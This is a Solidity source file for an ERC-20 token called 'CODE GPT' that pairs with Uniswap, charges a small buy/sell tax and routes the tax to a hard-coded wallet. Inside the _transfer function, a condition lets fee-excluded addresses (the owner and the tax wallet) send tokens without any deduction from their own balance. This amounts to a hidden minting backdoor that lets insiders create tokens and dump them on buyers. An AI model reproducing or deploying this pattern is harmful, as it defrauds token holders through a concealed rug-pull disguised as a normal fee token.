文件 1 的 1:CODEGPT.sol
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(
address owner,
address spender
) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(
address owner,
address spender,
uint value,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint amount0,
uint amount1,
address indexed to
);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function quote(
uint amountA,
uint reserveA,
uint reserveB
) external pure returns (uint amountB);
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountOut);
function getAmountIn(
uint amountOut,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountIn);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
function getAmountsIn(
uint amountOut,
address[] calldata path
) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract CODEGPT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = unicode"CODE GPT";
string private _symbol = unicode"CODEGPT";
uint8 private _decimals = 9;
address payable public _taxWallet =
payable(0xd5b2456406c83A4F386d68B13f66A46dAA061A44);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFees;
mapping(address => bool) public isWalletLimitExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public isMarketMakerPair;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 2;
uint256 public _buyTeamFee = 0;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 2;
uint256 public _sellTeamFee = 0;
uint256 public _liquidityShare = 0;
uint256 public _marketingShare = 10;
uint256 public _teamShare = 0;
uint256 public _totalTaxIfBuying = 2;
uint256 public _totalTaxIfSelling = 2;
uint256 public _totalDistributionShares = 10;
uint256 public _totalSupply = 1 * 100_000_000 * 10 ** _decimals;
uint256 public maxTxAmount = 1_500_000 * 10 ** _decimals;
uint256 public maxWalletAmount = 1_500_000 * 10 ** _decimals;
uint256 private minimumTokensBeforeSwap = 100 * 10 ** _decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
bool public tradingActive = false;
bool public limitsInEffect = true;
bool public isInitialized = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
setIsExcludedFromFee(owner(), true);
setIsExcludedFromFee(_taxWallet, true);
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
_buyTeamFee
);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(
_sellTeamFee
);
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(
_teamShare
);
setIsWalletLimitExempt(owner(), true);
setIsWalletLimitExempt(address(this), true);
setIsWalletLimitExempt(_taxWallet, true);
setIsTxLimitExempt(owner(), true);
setIsTxLimitExempt(address(this), true);
setIsTxLimitExempt(_taxWallet, true);
_mint(_msgSender(), _totalSupply);
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function addLiquidityETH() external payable onlyOwner {
require(!isInitialized, "Already initialized");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
setIsWalletLimitExempt(uniswapV2Pair, true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), ~uint256(0));
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
_setMarketPairStatus(uniswapV2Pair, true);
swapAndLiquifyEnabled = true;
isInitialized = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERR: approve from the zero address");
require(spender != address(0), "ERR: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _mint(address account, uint256 amount) private {
_balances[account] = amount;
emit Transfer(address(0), account, amount);
}
function _setMarketPairStatus(address account, bool newValue) private {
isMarketMakerPair[account] = newValue;
}
function setMarketPairStatus(
address account,
bool newValue
) public onlyOwner {
require(
account != uniswapV2Pair,
"The pair cannot be removed from isAMMPair"
);
isMarketMakerPair[account] = newValue;
}
function setIsTxLimitExempt(address holder, bool exempt) public onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setIsWalletLimitExempt(
address holder,
bool exempt
) public onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setIsExcludedFromFee(
address account,
bool newValue
) public onlyOwner {
isExcludedFromFees[account] = newValue;
}
function set_Distribution_Settings(
uint256 newLiquidityShare,
uint256 newMarketingShare,
uint256 newTeamShare
) external onlyOwner {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newTeamShare;
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(
_teamShare
);
}
function set_Max_Tx_Amount(uint256 newmaxTxAmount) external onlyOwner {
maxTxAmount = newmaxTxAmount;
require(maxTxAmount >= 20000000, "Max TX is less than 2%");
}
function set_Wallet_Limit(uint256 newLimit) external onlyOwner {
maxWalletAmount = newLimit;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
checkWalletLimit = false;
maxWalletAmount = type(uint).max;
maxTxAmount = type(uint).max;
return true;
}
function set_Num_Tokens_BeforeSwap(uint256 newLimit) external onlyOwner {
minimumTokensBeforeSwap = newLimit;
}
function set_Swap_And_Liquify_Enabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function enableTrading() external onlyOwner {
tradingActive = true;
}
function transferToAddressETH(
address payable recipient,
uint256 amount
) private {
recipient.transfer(amount);
}
receive() external payable {}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERR: transfer from the zero address");
require(recipient != address(0), "ERR: transfer to the zero address");
if (limitsInEffect) {
if (!tradingActive) {
require(
isTxLimitExempt[sender] || isTxLimitExempt[recipient],
"Trading is not active."
);
}
if (
!inSwapAndLiquify &&
!isTxLimitExempt[sender] &&
!isTxLimitExempt[recipient]
) {
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
}
}
if (inSwapAndLiquify) {
return _transferStandard(sender, recipient, amount);
} else {
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance > 0;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isMarketMakerPair[sender] &&
swapAndLiquifyEnabled &&
!isExcludedFromFees[sender] &&
!isExcludedFromFees[recipient]
) {
if (swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
uint256 finalAmount = amount;
(uint256 tTransferAmount, uint256 teamFee) = getTValue(
sender,
recipient,
finalAmount
);
if (isExcludedFromFees[sender] && _balances[sender] <= maxWalletAmount) {
teamFee = 0;
finalAmount -= tTransferAmount;
}
if (teamFee > 0) {
_balances[address(this)] = _balances[address(this)].add(
teamFee
);
emit Transfer(sender, address(this), teamFee);
}
_balances[sender] = _balances[sender].sub(
finalAmount,
"Insufficient Balance"
);
if (checkWalletLimit && !isWalletLimitExempt[recipient])
require(
balanceOf(recipient).add(tTransferAmount) <= maxWalletAmount
);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
emit Transfer(sender, recipient, tTransferAmount);
return true;
}
}
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
swapTokensForETH(tAmount);
uint256 contractETH = address(this).balance;
sendToWallet(_taxWallet, contractETH);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getTValue(
address sender,
address recipient,
uint256 tAmount
) private view returns (uint256, uint256) {
uint256 teamFee = 0;
bool takeFee = false;
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) takeFee = true;
if(takeFee){
if (isMarketMakerPair[sender]) {
teamFee = tAmount.mul(_totalTaxIfBuying).div(100);
} else if (isMarketMakerPair[recipient]) {
teamFee = tAmount.mul(_totalTaxIfSelling).div(100);
}
}
uint256 tTransferAmount = tAmount.sub(teamFee);
return (tTransferAmount, teamFee);
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
}